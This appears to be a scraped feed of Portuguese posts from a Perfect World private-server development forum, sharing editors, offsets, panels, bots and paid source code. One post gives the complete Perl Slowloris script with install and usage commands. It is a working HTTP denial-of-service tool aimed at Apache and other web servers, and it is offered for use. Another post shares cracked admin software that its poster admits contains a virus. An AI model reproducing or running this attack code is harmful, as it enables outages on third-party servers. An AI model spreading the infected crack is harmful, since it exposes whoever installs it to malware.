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WinPCK v1.33.0.3 – Atualizado ChangeLog: Leitura de arquivos .cup, o WinPCK fará a decodificação do cup. Instalação no registro do Windows com .cup Leitura de arquivos .pck com .pkx maiores que 2GB Leitura de arquivos .pck com .pkx1 Tradução para o inglês Atualizado para C++20 Atualizado para o Visual Studio 2022 Codigo Fonte: [Conteúdo Oculto] Binarios: [Conteúdo Oculto]/releases v1.33.0.3 - Release.rar v1.33.0.3 - Release-static.rar3 pontos
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Se seu RAE Editor de Elements não abre por nada, utilize este link: RAE_2023.zip2 pontos
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Como Usar o Slowloris VERSÕES AFETADAS Este problema impacta vários servidores web, incluindo: Apache (versões 1.x e 2.x) dhttpd GoAhead WebServer Possivelmente outros servidores web Requisitos: sudo apt-get update sudo apt-get install perl sudo apt-get install libwww-mechanize-shell-perl sudo apt-get install perl-mechanize Utilizando ./slowloris.pl perl slowloris.pl -dns 127.0.0.1 -options #!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris by llaera =head1 VERSION Version 1.0 Stable =head1 DATE 02/11/2013 =head1 AUTHOR Laera Loris [email protected] =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?2 pontos
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Apresento o meu projeto de Ranking PVE, agora disponível para venda em meu site! Demo: [Conteúdo Oculto] Ranking Forja; Ranking Coleta; Ranking Drop; Quando clica em um personagem: Modal de informações de recompensas Histórico de Resets + detalhes no link: [Conteúdo Oculto] Agradecimentos especiais ao @Shepiro por confiar no meu trabalho e ainda, fornece o server para testes.2 pontos
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Nova atualização v176.1 - Corrigido Leitura do ElementClient X86 - Agora, se você abrir o editor, com o Rae Aberto, o carregamento do elements.data não será necessário. Source Code: [Conteúdo Oculto] NpcGen.v176.1.updated.by.Haly.rar2 pontos
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O Editor de NPCGen teve uma atualização Adicionado Offsets para 1.7.2 x64 e 1.7.6 x64 Agora o editor tem suporte a API do RAE, para funcionar corretamente, deve estar com o Rody Angelica Editor aberto com o elements carregado. NetFramework 4.8.1 Adicionado o projeto HelperProcess, devido a API do RAE somente estar disponível em x86, para que consiga pegar coordenadas de endereços x64 do elementclient. Compile em x86 para funcionar corretamente com a RAE API. Source Code: [Conteúdo Oculto] Screenshots: NpcGen.v176.updated.by.Haly.rar2 pontos
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Fala devs de Perfect World. Hoje eu estou aqui pra apresentar a minha mais nova api de prêmios para Perfect World. Api feita em Node com Type Script Features: - Sorteio de Itens ou Gold - Logado Premiado Por Hora - Logado Premiado Diário - Logado Premiado Semanal - Logado Premiado Mensal - Sorteios dinâmicos por gm via chat (requer participação dos jogadores também via chat) - Registro de Prêmios no discord - Comandos de consultas de prêmios por nick - Comando dos últimos prêmios dividido por categoria Meu discord: kaiquebsl || outros contatos nos links ⬇ Meu site de skins personalizadas pra PW ou Saint Seiya Online: [Conteúdo Oculto] Marketing e desenvolvimento para servidores? [Conteúdo Oculto]2 pontos
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offsets.txt Offsets com algumas a mais que tenho por aqui (Adicionei as que tem no seu arquivo)2 pontos
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Sabe aqueles PW que coloca uma aréa de farme e ao redor coloca estaca de madeira ou algum mob imune pra evitar o auto cultivo? Então, tava de bobeira no Discord com uns amigos e resolvi fazer um bot para melhorar o auto-cultivo? Não espere muito, fiz todo cagado para uso pessoal e amigos, mas vou compartilhar com vocês aqui 😄 Funções (que eu lembro) Ignora o Mob que você quiser Pega moedas/itens do chão ao matar Repara automaticamente o seu set (função do inventário) Autopot Se morrer volta pro mesmo lugar que estava (as vezes não funciona xisde) Aviso no chat(qualquer um) toda vez que encontra o mob indesejado (você pode desativar (pra não levar ban) isso no settings.ini) Um txt cheio de logs pra você ver oque rolou Atalhos (que eu lembro) F1 = F1 ou macro F2 = Coloque a skill de pegar itens do chão F3 = Coloque o boticário que você vai usar (HP) F4 = Coloque o boticário que você vai usar (MP) Configure o mob a ser ignorado na imagem include/estaca-de-madeira.png Fora isso, não precisa de configuração, basta abrir o jogo e deixa na tela do PW. Eu gravei isso para ajudar meu amigo na instalação/uso: [Conteúdo Oculto] (ignore as configurações, era de um versão antiga) Download: bot-pw.zip1 ponto
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Aviso: Contém Vírus do crack use somente para testes. como instalar? PWAdmin 4.5 ENG.7z1 ponto
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Salve, hoje venho compartilhar este projeto feito em nodejs com os entusiastas da programação O projeto ainda estava no começo, mas a base e muitas funções já estão pronta, tais como; Login Cadastro (com ou sem confirmação no e-mail) Recuperar conta Reenviar e-mail de ativação Template dos e-mails Dashboard cru Página de doação (parei aqui) Para rodar o painel é bastante simples; Instale o node NodeJS >=20.00 - [Conteúdo Oculto] Crie um banco de dados e importe o config/tables.sql para o mesmo Configure o config/settings.js com as informações dos bancos de dados, url do cors, porta do aplicação, hash etc Pronto agora é só instalar as dependências e iniciar a aplicação npm install npm start Se você fez tudo certo você deve ver uma mensagem de sucesso no terminal informando que a aplicação foi iniciado na porta definida Download: node-js.zip1 ponto
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IMAGEM VBOX PWSERVER 1.5.1 e 1.5.5 contém as duas PWSever Senha: 123456 para usar a pwserver 1.5.5 basta renomeiar a pasta 1.5.5 para home via winscp [Conteúdo Oculto] --------------------------------------------------------------------------------------------- PS: te ajudei? então manda aquele pix do coração para incentivar meus posts. PIX: [email protected] --------------------------------------------------------------------------------------------- Precisa de ajuda em particular? Entra em contato comigo tenho otimos preços.1 ponto
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PWSERVER 1.5.5 COM ESTIO, ATALHOS, SCRIPT.LUA E AFINS. LINK QUEBRADO!1 ponto
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Npcgen Data editor by Luka O Editor de NPCGen teve uma atualização Adicionado Offsets para 1.7.2 x64 e 1.7.6 x64 Agora o editor tem suporte a API do RAE, para funcionar corretamente, deve estar com o Rody Angelica Editor aberto com o elements carregado. NetFramework 4.8.1 Adicionado o projeto HelperProcess, devido a API do RAE somente estar disponível em x86, para que consiga pegar coordenadas de endereços x64 do elementclient. Compile em x86 para funcionar corretamente com a RAE API. Source Code: [Conteúdo Oculto] Screenshots: codigo fonte: [Conteúdo Oculto] binarios: [Conteúdo Oculto]/releases NpcGen v174 by Luka updated by Haly.rar NpcGen.v176.updated.by.Haly.rar1 ponto
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E aí, galera! Tenho uma super novidade para compartilhar com todos vocês! Estou lançando meu site , repleto de skins de personagens famosos que desenvolvi ao longo dos últimos anos, e o melhor de tudo: elas são todas gratuitas! Este é apenas o começo, pois o site ainda está em construção e tenho muitas outras surpresas para postar em breve. Se você está procurando por uma S K I N específica minha que ainda não está disponível, fique tranquilo, é só me chamar no D I S C O R D e eu farei questão de postar os modelos que você deseja. OBS: São todos modelos que eu fiz! E não para por aí, pessoal! Se você está em busca de algo realmente exclusivo para o seu servidor, estou aqui para ajudar. Aceito encomendas de modelos personalizados, feitos especialmente para atender às necessidades do seu servidor. Tenho certeza de que isso pode ser um grande diferencial para tornar o seu servidor ainda mais atrativo! Vocês nem imaginam quantos modelos incríveis ainda tenho para postar, mas calma, estou trabalhando para compartilhá-los com vocês nos próximos dias. Então fiquem ligados e não percam as atualizações! Acessem meu site, confiram as S K I N S já disponíveis e entrem em contato comigo pelo D I S C O R D ou Z A P para pedidos especiais! Grande abraço! Acessem o meu site : [Conteúdo Oculto] Fazendo o que ninguem mais sabe fazer 2020-02-16 14-06-35.mp4 Fazendo o que ninguem mais sabe fazer 2020-05-17 13-03-34.mp4 Perfect World 2019-09-16 16-07-46.mp4 Perfect World 2019-11-01 15-12-14.mp4 susanoo.mp41 ponto
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Estou vendendo a source code completa de plugins e tools para criação de modelos para jogos da Wanmei/Perfect World. Utilidade: Criação de modelos de personagens, animações, criação de roupas, armaduras, montarias, voos , as ferramentas foram traduzidas usando o google translate para o inglês, porém vai com o backup original em chinês permitindo você portar para qualquer idioma que quiser usando os arquivos originais. Conteúdo: Plugins exporter = Mox Exporter, Skeleton Exporter Ferramentas = editor de .smd , editor de .ecm, editor de gfx , editor de skill attacks effects . Engine = Angelica2 completa, com 3rd party sdk Os plugins podem ser compilados usando 3ds max 2009 0u 2012 fica a seu critério, a source contém os dois SDK’S completo , Além do AMDTootle 2.3 completo. Estou vendendo 3 pacotes diferentes: Versão Básica: 5,000 R$, contém só a source code completa. Versão Intermediária: 10,000 R$, contém as mesmas coisas da versão básica mais, os arquivos base dos modelos finalizados dos prints, além de informações para você conseguir criar os modelos mais facilmente além de tirar algumas duvidas. Versão Avançada: 15,000 R$, no caso essa versão vem tudo que tem nas versões anteriores , além de algumas ferramentas extras que estava trabalhando, (editor/viwer de .mox, editor de faces, porém não tive tempo para aprender a usar), além de plugins extras para o 3dsmax para facilitar na hora de criação de modelos, os plugins não foram criados ou compilados por mim, porém eu tive muito trabalhado achando eles. Se tiver interesse entrar em contato: Fórum = mensagem privada Discord = _cerejo Whats = estou no grupo do fórum IMPORTANTE: não vendo somente as ferramentas compiladas ou em partes separadas, a não ser que você tenha comprado alguma dos pacotes e queira fazer upgrade . Demo.zip1 ponto
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Salve galera!! e @Master =) Venho trazer para vocês um Rebuild da ferramenta World Targets Editor do nosso amigo Luka =). Agora o Editor de World Targets foi aprimorado e recompilado para oferecer suporte à comunidade. Agora, com uma tradução completa para o Português do Brasil, a nossa ferramenta tornou-se ainda mais acessível e fácil de usar para quem quer criar seus pontos de teleporte em Perfect World. Principais Novidades: Tradução para o Português do Brasil: Todo o conteúdo do Editor de World Targets foi traduzido para o Português do Brasil, proporcionando uma experiência mais amigável para usuários de língua portuguesa. Suporte à Versão 1.5.5 v156 do Perfect World: Adicionamos um offset que permite puxar coordenadas diretamente da versão 1.5.5 v156 do Perfect World. Agora, você pode aproveitar ao máximo as funcionalidades do Editor com a versão mais recente do jogo e com mais facilidade na hora de editar =). Como Usar o Editor de World Targets: Para utilizar o Editor de World Targets, siga as seguintes etapas simples: Obtenha os Arquivos Necessários: Localize o arquivo "world_targets.txt" em seu cliente, geralmente armazenado no diretório "element/maps/world/". Adquira o arquivo "world_targets.sev" do lado do servidor, disponível em "/home/gamed/config/world_targets.sev". Organize seus Arquivos: Recomendo criar uma pasta separada para manter os arquivos organizados e evitar confusões. Abra o Editor: Execute o Editor de World Targets. No menu "Arquivos", escolha "Abrir world_targets.sev" para o arquivo do servidor e "Abrir world_targets.txt" para o arquivo do cliente. OU Utilize a abordagem simplificada: clique nos ícones de pasta azul para abrir o arquivo "sev" e no ícone de pasta amarela para abrir o arquivo "txt". Tutorial de como fazer um ponto de Teleporte mais detalhadamente em breve em vídeo. virus total: 1e514ed786a876baaccbc382b013d7c0411ba6ff9d733751f5c85f35212015d3 NEX WORLD TARGETS EDITOR.rar1 ponto
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Creditos: Scott J Cliente: [email protected] [Conteúdo Oculto] PWSERVER [email protected] [Conteúdo Oculto] OBS: Não testei, não sei o que tem nelas ainda, provável que seja apenas mapas1 ponto
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Sinceramente eu nunca usei esse editor porém está aqui no meu PC vou postar vai que alguém precisa tai, espero ter ajudado. OllyDbg 2.0.rar1 ponto
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Há algum tempo eu venho estudando sobre os octets do PW (hex strings) para adicionar os detalhes dos itens no visualizador de inventário do meu painel. Inclusive eu achei esses 2 pdfs que estão anexados nesse post perdidos por aí (Além de outros projetos relacionados), o que me ajudou bastante no começo. E apartir disso eu construi esse projeto em php chamado PWHexParser que recebe um octet de um item, o tipo do item e retorna um json como resultado, exemplos: Lendo octets de uma roupa: <?php require __DIR__ . '/../vendor/autoload.php'; $decoder = new App\Decoder(); $decoder->setItemType('Fashion'); // Weapon, Armor, Charm, Jewelry, Flight, Card... $decoder->sethexString('1e00000092470100010a620072007500630065000000'); //Mandarin Silk Gown $result = $decoder->decodeHexString(); header('Content-Type: application/json'); echo json_encode($result, JSON_PRETTY_PRINT); Resultado: { "level_req": 30, "color": 18322, "gender": 1, "creator_type": 1, "name_length": 5, "name": "bruce", "color_mask": 0 } Adivinhando o tipo do item (arma nesse caso): <?php require __DIR__ . '/../vendor/autoload.php'; $mask = 1; // Weapon $decoder = new App\Decoder(); $decoder->guessItemType($mask); $decoder->sethexString('5a00ff001001000031000000b4610000786900002c00040a4200720075006300650000000000090000000b00000000000000930200009b0500000000000000000000180000000000604000000000010000000000000003000000114500009200000001000000f02300004d000000cf2500000e000000'); $result = $decoder->decodeHexString(); header('Content-Type: application/json'); echo json_encode($result, JSON_PRETTY_PRINT); Resultado: { "level": 90, "class": 255, "strength": 272, "vitality": 0, "dexterity": 49, "magic": 0, "min_durability": 250, "max_durability": 270, "item_type": 44, "item_flag": 4, "name_length": 10, "name": "Bruce", "ranged_type": 0, "weapon_type": 9, "weapon_grade": 11, "ammunition_type": 0, "min_physical_damage": 659, "max_physical_damage": 1435, "min_magic_damage": 0, "max_magic_damage": 0, "attack_rate": 0.83, "attack_range": 3.5, "minimum_range": 0, "sockets_count": 1, "sockets": [ 0 ], "addons_count": 3, "addons": { "special_addons": [ { "id": 1297, "value": 146, "level": 1 } ], "normal_addons": [ { "id": 1008, "value": 77 }, { "id": 1487, "value": 14 } ], "refine_addons": [ ], "socket_addons": [ ] } } O projeto está disponível no Github e também é possível instalar via composer: Ele não está 100% finalizado ainda, mas já da pra utilizar em algum projeto de seu interesse. :) Hex Data Guide v2T2.pdf Hex Code Guide By Drakaer.pdf1 ponto
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Créditos : pangdun1, deadraky deadraky: “Este é o meu emulador, eles não funcionarão sem uma licença válida, pois a maior parte da lógica crítica está localizada no servidor de licenças. Pretendo fazer uma versão de teste para acesso público em breve com um número limitado de jogadores no servidor de até 50 pessoas.” Drive: [Conteúdo Oculto] Mega: [Conteúdo Oculto]1 ponto
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Olá, como prometido outro dia no chat, vim postar a versão 2 dessa aplicação. Além de melhorias no sistema de controle da Guerra Territorial, agora também há funções para gerir a Guerra das Nações. Funções adicionadas: Use com sabedoria e lembre sempre de testar antes de colocar em produção. A configuração se mantém a mesma da postagem principal. TwManager v2 + NwManager.rar1 ponto
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Estou com o mesmo problema já fiz de tudo. Ela mostra na tela do login mas não da pra selecionar, queria tirar da tela pra não ficar mostrando.1 ponto
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que estranho comigo não funciona, da uma olhada. ELEMENTCLIENT.EXE interfaces.pck1 ponto
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Cavalo Branco com o Ricardo Milos de tanga te abraçando por trás e um Raptor segurando dois copos de chopp, alguma coisa poderia ser mais aleatório do que isso? Observação: Não sou o pertecente dos arquivos, estava perdido no meu HD e resolvi compartilhar. Por favor, dê uma reação no post. custom.rar1 ponto